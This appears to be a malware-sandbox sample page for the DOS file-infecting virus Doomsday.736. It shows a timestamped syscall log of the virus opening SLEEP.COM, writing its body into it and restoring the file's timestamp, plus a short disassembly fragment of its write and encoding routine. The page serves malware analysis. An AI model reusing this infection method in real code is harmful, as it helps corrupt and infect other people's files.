Sample viewer

vx.netlux.org/Virus.DOS.Doomsday.736

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:47:55.851503816Z 26 PC: 12fa9 | Set disk transfer address
2018-12-17T22:47:55.853635822Z 78 PC: 12fbe | Find first file
2018-12-17T22:47:55.861563439Z 67 PC: 13033 | Get or set file attributes
2018-12-17T22:47:55.868505363Z 67 PC: 1303f | Get or set file attributes
2018-12-17T22:47:55.885581551Z 61 PC: 13044 | Open file (Filename = '\SLEEP.COM')
2018-12-17T22:47:55.893502626Z 63 PC: 13052 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:47:55.900611323Z 44 PC: 13056 | Get time 0x13056: add dl, dh
0x13058: add dl, cl
0x1305a: add dl, 1
0x1305d: mov byte ptr [si + 0x2d8], dl
0x13061: xor cx, cx
0x13063: xor dx, dx
0x13065: mov ax, 0x4200
0x13068: int 0x21
0x1306a: mov cx, 4
0x1306d: mov dx, si
0x1306f: add dx, 0x2d5
0x13073: mov ah, 0x40
0x13075: int 0x21
0x13077: jmp 0x1307d
0x1307a: jmp 0x130b0
0x1307d: mov al, byte ptr [si + 0x2d8]
0x13081: mov cx, 0x243
0x13084: push bx
0x13085: mov bx, cx
0x13087: add byte ptr [bx + si], al
2018-12-17T22:47:55.902999781Z 66 PC: 1306a | Move file pointer
2018-12-17T22:47:55.909607768Z 64 PC: 13077 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:47:55.912393102Z 66 PC: 13095 | Move file pointer
2018-12-17T22:47:55.913900014Z 64 PC: 130a2 | Write file or device (Write 594 bytes on handle 5)
2018-12-17T22:47:55.924107004Z 64 PC: 12e87 | Write file or device (Write 142 bytes on handle 5)
2018-12-17T22:47:55.933000875Z 87 PC: 12e94 | Get or set file date and time
2018-12-17T22:47:55.934898922Z 62 PC: 12e98 | Close file
2018-12-17T22:47:55.943774961Z 67 PC: 12eb0 | Get or set file attributes